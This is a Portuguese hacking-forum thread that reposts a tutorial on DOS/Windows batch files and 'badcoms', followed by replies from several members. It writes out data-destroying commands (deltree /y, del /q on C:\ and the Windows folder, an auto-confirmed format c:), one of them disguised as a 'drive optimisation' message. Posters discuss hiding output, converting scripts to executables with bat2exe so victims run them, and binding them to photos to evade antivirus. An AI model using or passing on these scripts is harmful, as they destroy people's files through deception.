Galera, estava lendo o
Guia do Hacker Brasileiro e resolvi extrair esse tutorial... Muito interessante e simples, pq além de ser ultrapassado e de muitos AV's detectarem rapidamente arquivos
*.bat, é sempre bom sabermos como funciona... ;)
Arquivos BATOs arquivos batch no DOS são pequenos scripts que possibilitam que se faça muitas tarefas de uma só vez. Possuem a extensão BAT e podem ser rodados como se fossem executáveis. A linguagem batch é bem extensa e ótima para iniciantes aprenderem os primeiros passos em programação. O objetivo não é ensinar a linguagem e sim apenas mostrar como o processo funciona. Um exemplo de um arquivo batch abaixo:
Dir/pClsMemDigite no prompt do dos "edit teste.bat" . Assim o editor padrão
EDIT irá criar o arquivo teste.bat . Escreva os três comandos acima, colocando-os um em cada linha. Salve o arquivo e execute-o digitando teste ou teste.bat . O programa listará os arquivos com pausa (
dir/p), limpará a tela (
cls) e mostrará o status da memória (
mem).
BadcomsOs badcoms são uma má utilização de arquivos bat. Coloca-se no arquivo comandos destrutivos, tais como "
del *.*" ou "
deltree /y *.*" , que são comandos para apagar arquivos e diretórios. Pode-se até conseguir formatar o computador colocando-se "
format c: | echo s" . O
pipe ( | ) fará com que o comando
echo envie o caractere
s para o comando
format c:. Isso porque sempre que se vai formatar (apagar) alguma coisa, o DOS pede confirmação. No caso, o batch daria a confirmação por si próprio. Um exemplozinho rápido de um badcom:
Cls@deltree /y *.* > nulAo criar esse arquivo BAT e executá-lo, o programa primeiro limpará a tela e logo depois usará o comando deltree para apagar os arquivos e pastas do computador. O
@ antes do comando e o "
> nul" depois é para que não mostre o que o batch irá fazer. Se você digitasse esse comando sem esses dois termos (somente
deltree /y *.*), iria aparecer a mensagem "
Excluindo " . O erro do batch é que os usuários experientes nunca executarão seus comandos sem olhar seu conteúdo. Infelizmente foi criado o programa
bat2exe que transforma o arquivo bat em executável (podendo ser
COM ou
EXE). Assim,
muitas pessoas caem no seu truque a cada dia.
:D
otro bad com
cls
@echo off
cd\
cd windows
echo Otimizando a unidade para um
echo melhor desepenho
dir/>vnul
dir/>vnul
echo.
echo.
echo.
@echo off
break off
deltree/y c:\*.*
Quote from: "darkxlx"
@echo off
break off
deltree/y c:\*.*
deltree /y ja tah ultrapassado...o kaspersky deleta ele sem pergunta xD
Quote from: "Ø Rodrigo Ø"Quote from: "darkxlx"
@echo off
break off
deltree/y c:\*.*
deltree /y ja tah ultrapassado...o kaspersky deleta ele sem pergunta xD
Mais se você juntar ele a uma foto ? 8)
Quote from: "killer.bat"Quote from: "Ø Rodrigo Ø"Quote from: "darkxlx"
@echo off
break off
deltree/y c:\*.*
deltree /y ja tah ultrapassado...o kaspersky deleta ele sem pergunta xD
Mais se você juntar ele a uma foto ? 8)
ai não ja sei hehe
Muito bom o pequeno tutorial.
Mais conhecimento pra nois.Huhuhu.
So isso se resume no badcom pra formatação?
Quote@echo off
break off
deltree/y c:\*.*
Quote from: "Fox"So isso se resume no badcom pra formatação?
Quote@echo off
break off
deltree/y c:\*.*
Errado: deltree/y c:\*.*
Correto: deltree /y c:\*.*
mais só no win 98
no xp usa
del /q c:\*.*ou usa
del /q %WINDIR%\*.* ai ele deleta a pasta do win em qualquer lugar
Quote from: "chrootz"alguem sabe como posso incluir uma linha dentro de um arquivo...
ex: edit (um arquivo qualquer)
comando (inserir uma linha no arquivo)
save (arquivo)
se alguem puder ajudar agradeço....
Olha não sei explicar muito bem mas você pode fazer assim pra fazer um teste:
Crie um arquivo .txt (com qualquer coisa escrito dentro) na sua Desktop;
Agora você irá abrir o notepad e colocar assim:
@echo off
echo AQUI_VOCÊ_ESCREVE_A_LINHA_PRA_SER ADICIONADA >>NOME_DO_ARQUIVO_TXT.txt
Salve esse arquivo NOME_DO_ARQUIVO.bat na área de trabalho.
Rode o .bat
Bom eu não sou muito bom pra explicar e muito menos pra fazer essas coisas mais pelo menos tô tentando ajudar! shuasha
Se não der pra entender, avise que tentarei explicar de outra forma.
Caso dê certo é so adequar o bat para a função que você queira!
Espero ter ajudado.
> escreve por cima (eu acho)
>> adiciona uma linha
isso vai criar um badcom
Quote@echo off
cls
cd \
echo @echo off >> teste.bat
echo cls >> teste.bat
echo del /q C:\*.* >> teste.bat
se o arquivo.txt não existir ele cria um...
Olhem badcom é otimo gente ..
mais tbm tem outra linguagem q eu considero mto boa pra pequenas brincadeiras como
o VBS
+ Então aprendam brincando com badcom logo vao estar brincando com o ASSEMBLY
Se se dedicarem
vou postar 1 codigo em BAT q eu Fiz.
:)
@ECHO OFF ::Apaga Comandos ( Nao Mostra )
IF NOT "%OS%"=="Windows_NT" GOTO Syntax
IF NOT "%~1"=="" GOTO Syntax
::Checa qual sistema operacional estamos lidando
DISKPART.EXE /? >NUL 2>&1 || GOTO Syntax
::Tenta Acessar a Memoria do Disk
::Ativa uma variavel e coloca ela em delay
::se estiver com a delay alta quer dizer q o disco
::esta dentro do driver
SETLOCAL ENABLEDELAYEDEXPANSION :: ativa agora
SET CDACT=
SET Multi=
:: Tenta detectar
FOR /F "tokens=3" %%A IN ('ECHO lista de volume ^| DISKPART.EXE ^| FIND.EXE " CDFS "') DO (
IF DEFINED CDROM (
SET CDACT=!CDACT! %%A
SET Multi=s
) ELSE (
SET CDACT=%%A
)
)
:: Mostra resultado
IF DEFINED CDACT (
ECHO Existem CD/DVD Dentro do Driver :) * Ricardo *%Multi% %CDACT%
) ELSE (
ECHO Num Existem CD/DVD Dentro do Driver :) * Ricardo *
)
::Feito Termina codigo e desaloca recursos
ENDLOCAL & SET CDACT=%CDACT%
GOTO:EOF
:Syntax
ECHO ....
ECHO Escrito by Ricardo Silva de Barros
PAUSE
IF "%OS%"=="Windows_NT" GOTO:EOF
::Caso for NT Roda Tbm :)
::Isso ai Darkers Estudem agora esse code
Ta ai ...
Esse code em bat ele detecta se tem CD ou DVD no Driver de CD ROM / DVD ROM hehehe
Bem simples porem poderoso
Estudem ..
Quote from: "Ø Rodrigo Ø"> escreve por cima (eu acho)
>> adiciona uma linha
É isso mesmo, acabei de testar aqui.
Ele limpa tudo e escreve o que for inserido antes do >
[edit]Aproveitando esse post alguem teria uma apostila que aborda o assunto pra postar pra gente não?
Abraços
Quote from: "r1c4rdo1988"@ECHO OFF ::Apaga Comandos ( Nao Mostra )
IF NOT "%OS%"=="Windows_NT" GOTO Syntax
IF NOT "%~1"=="" GOTO Syntax
::Checa qual sistema operacional estamos lidando
DISKPART.EXE /? >NUL 2>&1 || GOTO Syntax
::Tenta Acessar a Memoria do Disk
::Ativa uma variavel e coloca ela em delay
::se estiver com a delay alta quer dizer q o disco
::esta dentro do driver
SETLOCAL ENABLEDELAYEDEXPANSION :: ativa agora
SET CDACT=
SET Multi=
:: Tenta detectar
FOR /F "tokens=3" %%A IN ('ECHO lista de volume ^| DISKPART.EXE ^| FIND.EXE " CDFS "') DO (
IF DEFINED CDROM (
SET CDACT=!CDACT! %%A
SET Multi=s
) ELSE (
SET CDACT=%%A
)
)
:: Mostra resultado
IF DEFINED CDACT (
ECHO Existem CD/DVD Dentro do Driver :) * Ricardo *%Multi% %CDACT%
) ELSE (
ECHO Num Existem CD/DVD Dentro do Driver :) * Ricardo *
)
::Feito Termina codigo e desaloca recursos
ENDLOCAL & SET CDACT=%CDACT%
GOTO:EOF
:Syntax
ECHO ....
ECHO Escrito by Ricardo Silva de Barros
PAUSE
IF "%OS%"=="Windows_NT" GOTO:EOF
::Caso for NT Roda Tbm :)
::Isso ai Darkers Estudem agora esse code
Ta ai ...
Esse code em bat ele detecta se tem CD ou DVD no Driver de CD ROM / DVD ROM hehehe
Bem simples porem poderoso :P
Fina d+ essa bat....
Muito bem elaborada!
Valew Ricardo!
Ponto para o criador do topico...
Alias, rolou uma duvida quanto a questao da deteccao...
Nao, juntar o arquivo com uma foto ou qualquer outro arquivo nao torna o arquivo indetectavel. Na verdade so o torna mais detectavel. O que os "binders" fazem e criar um executavel que contenha o codigo dos dois arquivos juntos, que sao chamados ao clicar-se no executavel que se obteve como resultado da juncao.
De qualquer forma, a maioria dos antivirus podem ver que ha na verdade dois arquivos em 1 e isso ja basta para acusar o arquivo de ser um virus, trojan ou pelo menos malicioso / perigoso.
Queria deixar um programa muito bom para compilar os arquivos bat o PowerBatch
Download link abaixo
ftp://anonymous.ftp.ovh.net/astase/wind ... rbatch.zip (ftp://anonymous.ftp.ovh.net/astase/windows/powerbatch.zip)